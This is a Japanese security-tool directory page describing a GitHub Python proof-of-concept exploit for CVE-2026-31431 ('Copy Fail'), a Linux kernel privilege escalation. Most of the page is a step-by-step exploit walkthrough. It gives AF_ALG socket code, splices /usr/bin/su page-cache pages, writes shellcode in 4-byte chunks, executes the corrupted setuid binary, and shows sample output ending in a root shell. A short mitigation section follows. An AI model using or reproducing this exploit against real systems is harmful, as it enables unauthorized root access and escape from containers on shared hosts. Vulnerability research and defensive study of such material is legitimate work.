Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペネトレーションテストレッドチーミングバイナリエクスプロイト
GitHubjulichaan/cve-2026-31431-python-copyfail-poc

CVE-2026-31431-python-copyfail-POC

Pythonエクスプロイト for CVE-2026-31431、setuidバイナリのページキャッシュ破損を介したLinuxカーネルの権限昇格により、rootアクセスを達成します。

リポジトリを見る
295ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431: Copy Fail - Linuxカーネル権限昇格

Copy Fail(CVE-2026-31431)は、Linuxカーネルの暗号サブシステムにおける重大な論理バグであり、非特権ユーザーがrootへの権限昇格を達成することを可能にします。この脆弱性は、Linuxカーネル6.0.0から6.18.xまでの全主要ディストリビューションに影響を与えます。

このリポジトリには、setuidバイナリのページキャッシュを破壊し、root権限で任意のコードを実行することで脆弱性を発動させる実際のエクスプロイトが含まれています。


Copy Failとは?

Copy Failは、非特権ユーザーがシステム上の任意の読み取り可能なファイル(setuidバイナリを含む)のカーネルのページキャッシュに、任意の4バイトチャンクを直接書き込むことを可能にする論理バグです。

主な特徴:

  • 決定的(Deterministic):レースコンディションやタイミングウィンドウは不要
  • 移植性(Portable):同じエクスプロイトがすべての脆弱なディストリビューション(Ubuntu、RHEL、Amazon Linux、SUSE)で動作
  • ステルス性(Stealthy):ディスク上のファイルは決して変更されず、メモリ内のページキャッシュのみが破壊される
  • コンテナ対応(Containerized):ページキャッシュはホスト全体で共有されるため、コンテナ境界をバイパス
  • シンプル(Simple):Python 3.10+と標準ライブラリモジュールのみが必要

技術的詳細

根本原因:インプレースAEAD操作

この脆弱性は、algif_aead.c(コミット72548b093ee3)における2017年の最適化に起因し、AEAD操作をアウトオブプレースからインプレースに変更しました:

変更前(安全 - 2015年):

TX Scatterlist(入力)  ← TXバッファ(ファイルからのユーザーデータ)
RX Scatterlist(出力) ← RXバッファ(ユーザーの出力領域)
                          
別々のscatterlist = ページキャッシュページは読み取り専用

変更後(脆弱 - 2017年):

結合されたScatterlist:
[ RXバッファ ] [ sg_chain()で連結されたページキャッシュページ ]
↑                ↑
req->src = src   req->dst = dst  (同じSCATTERLIST)

ページキャッシュページが書き込み可能なscatterlistに含まれる!

結合されたscatterlistは次のようになります:

[AAD + RXバッファからの暗号文] || [/usr/bin/suのページキャッシュからのタグ]
                                  ↑
                                  境界
                                  (authencesnはこのポイントを超えて書き込む)

トリガー:authencesnアルゴリズムのスクラッチ書き込み

authencesnアルゴリズムは、IPsecで拡張シーケンス番号(ESN)に使用されるAEADラッパーです。HMAC計算を実行しますが、AAD(関連認証データ)内でバイトを再配置する必要があります。

カーネルコード(crypto/authenc.c)の復号処理中:

scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // AADバイト0〜7を読み取り
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // 一時的:dst[4..7]を上書き
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← 重要行
                                                        // dst[assoclen+cryptlen]に4バイト書き込み

問題:3番目の書き込みはオフセットassoclen + cryptlenで発生します。脆弱なインプレースパスでは:

  • 通常の場合:このオフセットはユーザーのRXバッファ内(無害)
  • 脆弱な場合:このオフセットはユーザーのバッファを超えて、連結されたページキャッシュページに達する(重大)

カーネルはこの位置を「使い捨て可能なスクラッチ領域」として扱い、値をそこに恒久的に書き込みます。ページキャッシュ内のこの位置の元のバイトは永久に失われます。

攻撃チェーン

1. 攻撃者はAF_ALGソケットを開く → authencesn(hmac(sha256),cbc(aes))にバインド
   (権限は不要。AF_ALGはデフォルトで非特権ユーザーが利用可能)

2. 攻撃者はターゲットファイルを開く:/usr/bin/su(setuid-rootバイナリ)

3. 攻撃者はsplice()を使用して/usr/bin/suのページキャッシュページを
   AF_ALGソケットに「暗号文」および「タグ」として配信
   
4. 攻撃者は以下を含むAADでsendmsg()を送信:
   - バイト0〜3:パディング
   - バイト4〜7:seqno_lo = 書き込む4バイト値(攻撃者が制御)
   - バイト8以降:パディング

5. 攻撃者はrecvmsg()を呼び出し、AEAD復号操作をトリガー
   
   カーネル空間のauthencesnの復号内部:
   a) カーネルはAADバイト0〜7を読み取り
   b) カーネルはdst[4..7]にseqno_hiを書き込み(一時的、その後復元)
   c) カーネルはdst[assoclen + cryptlen]にseqno_loを書き込み
      ↓
      この書き込みはユーザーバッファからページキャッシュページへ交差
      ↓
      /usr/bin/suのページキャッシュへの4バイト書き込みがここで発生
   d) カーネルはHMACを計算(検証失敗 - 暗号文は偽造)
   e) recvmsg()はエラーを返す
   
   しかし:4バイトの書き込みはページキャッシュに**すでに永続化**

6. 攻撃者はシェルコードの各4バイトチャンクについて手順2〜5を繰り返す

7. 攻撃者は/usr/bin/suを実行
   - カーネルはバイナリをページキャッシュからロード(現在はシェルコードを含む)
   - バイナリはsetuid-root
   - シェルコードはUID=0で実行
   - 攻撃者はrootアクセスを取得

これが機能する理由

側面説明
クラッシュなし操作はカーネルの観点から完了
決定的レースコンディションなし。同期かつ信頼性が高い
永続的ページキャッシュの破壊はrecvmsg()エラー後も存続
不可視ディスク上のファイルは無傷。標準的な整合性ツールは何も検出しない
普遍的同じコードが全ディストリビューションで動作。ディストリビューション固有のオフセット不要
移植性x86-64およびARM64アーキテクチャで動作

エクスプロイト:ステップバイステップ

ステップ1:ソケットセットアップ

sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # AEAD操作用のリクエストソケット

authencesn AEADテンプレートにバインドされたAF_ALGソケットを作成します。

ステップ2:ターゲットバイナリを開く

target_fd = os.open("/usr/bin/su", os.O_RDONLY)

破壊されるsetuidバイナリを開きます。読み取り可能なファイルならどれでも機能しますが、権限昇格のためにsetuidバイナリが選択されます。

ステップ3:スプライス用パイプを作成

pipe_rd, pipe_wr = os.pipe()

splice()操作の中間役として機能するパイプを作成します。パイプバッファはページキャッシュページへの参照を保持します。

ステップ4:ファイルをパイプにスプライス

os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

splice()を使用して、write_offsetから始まる/usr/bin/suからcryptlenバイトをパイプに転送します。

これが重要な理由:splice()はファイル記述子間でデータをコピーせずに転送します。カーネルページキャッシュページへの直接参照を渡します。これらのページはパイプの内部バッファ構造に残ります。

ステップ5:AEADパラメータを作成

assoclen = 8          # AAD長:バイト0〜7
cryptlen = 32         # 暗号文長(== HMAC-SHA256出力)
authsize = 32         # タグ長
write_offset = 0x2000 # /usr/bin/su内の書き込みオフセット

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

AAD(関連認証データ)には以下が含まれます:

  • バイト0〜3:パディング
  • バイト4〜7:書き込む4バイト値(seqno_lo)← 攻撃者が制御
  • 残り:パディング

authencesnアルゴリズムは、スクラッチ書き込みでこのAADのバイト4〜7を使用します。

ステップ6:AADを送信

req_sock.sendmsg([aad], [], socket.MSG_MORE)

AADをAF_ALGソケットに送信します。MSG_MOREフラグは、暗号文/タグが続くことを示します。

ステップ7:暗号文+タグをソケットにスプライス

os.splice(pipe_rd, req_sock.fileno(), cryptlen)

パイプからAF_ALGソケットにページキャッシュページを転送します。これでカーネルのscatterlistには以下が含まれます:

Scatterlistチェーン:
[ AAD(RXバッファから) ] || [ 暗号文(RXバッファから) ] → [ タグ(ページキャッシュページ) ]
                                                               ↑
                                                      /usr/bin/suのページを
                                                      引き続き参照

ステップ8:recvmsg()で脆弱性をトリガー

try:
    req_sock.recv(1024)
except OSError:
    pass  # 無効なHMACで失敗することが予想される

recvmsg()を呼び出してAEAD復号操作をトリガーします:

カーネル空間のauthencesn内部:

  1. カーネルはAADバイト0〜7を読み取り
  2. カーネルはAADバイト4〜7を一時的に上書き(seqno_hi)
  3. カーネルはAADのバイト4〜7(seqno_lo)をdst[assoclen + cryptlen]に書き込み
    • このオフセットは:scatterlist内の8 + 32 = 40バイト
    • RXバッファは合計約48バイトのみ
    • バイト40での書き込みは連結されたページキャッシュページに交差
  4. カーネルは一時的な場所からAADバイト4〜7を復元
  5. カーネルは再配置されたデータに対してHMACを計算 → 失敗(偽造された暗号文)
  6. カーネルはエラーを返す
  7. しかし、オフセット40での4バイト書き込みはすでに発生し、永続化

ステップ9:各シェルコードチャンクに対して繰り返し

for i in range(0, len(shellcode), 4):
    chunk = shellcode[i:i+4]
    exploit_target_file("/usr/bin/su", base_offset + i, chunk)

エクスプロイトはループし、/usr/bin/suのページキャッシュ内の連続オフセットにシェルコードの4バイトチャンクを書き込みます。

ステップ10:破壊されたバイナリを実行

os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)

/usr/bin/suを実行します:

  • カーネルはページキャッシュからバイナリをロード(シェルコードを含む破壊されたバージョン)
  • シェルコードは既知のオフセットに配置
  • バイナリのsetuidビットはまだ設定されている
  • シェルコードはUID=0で実行
  • rootシェルが起動

エクスプロイトの実行

前提条件

  • Linuxカーネル6.0.0 - 6.18.x(脆弱なバージョン)
  • Python 3.10+(os.splice()サポート用)
  • AF_ALGおよびauthencesnモジュールがロードされている必要があります:
    lsmod | grep -E 'af_alg|algif_aead|authencesn'
    
  • システムへのローカルユーザーアクセス
  • /usr/bin/suがsetuidかつ読み取り可能であること

実行

python3 exploit.py

脆弱なシステムでの期待される出力:

[*] CVE-2026-31431 (Copy Fail) Linuxカーネル権限昇格
[*] ターゲット:/usr/bin/su(setuid-rootバイナリ)

[*] カーネルバージョン:6.12.0-1007-aws
[+] カーネル6.12.xは脆弱な範囲内(6.0 - 6.18)

[+] /usr/bin/suを発見(setuid-rootバイナリ)
[+] カーネル脆弱性チェック:AF_ALG + splice + authencesn

[*] ページキャッシュ破壊を開始...

[*] /usr/bin/suに33バイトのシェルコードを注入
[+] オフセット0x2000にチャンク0を書き込み
[+] オフセット0x2004にチャンク1を書き込み
...
[+] シェルコード注入成功!
[*] シェルコードをトリガーするために/usr/bin/suを実行...

# id
uid=0(root) gid=1001(user) groups=1001(user)

緩和策

即時対応(カーネル更新前)

AF_ALG AEADサポートを無効化:

sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit

これにより、他のAF_ALG機能を維持しながら、エクスプロイトがAF_ALGのAEADインターフェースにアクセスするのを防ぎます。

脆弱なモジュールをアンロード:

sudo rmmod algif_aead
sudo rmmod authencesn

seccompによるAF_ALGソケット作成のブロック(コンテナ環境向け):

# コンテナセキュリティポリシーで、socket(38, SOCK_SEQPACKET)システムコールを拒否

長期的対応(カーネル更新)

修正を含む**Linux 6.19+**に更新(コミットa664bf3d603d)。

この修正はalgif_aead.cをアウトオブプレースAEAD操作に戻します:

// 変更前(脆弱なインプレース):
aead_request_set_crypt(&areq->cra_u.aead_req, 
                       rsgl_src,        // RX SGL(入力)
                       rsgl_src,        // RX SGL(出力)- 同じ
                       used, ctx->iv);
ツールをダウンロード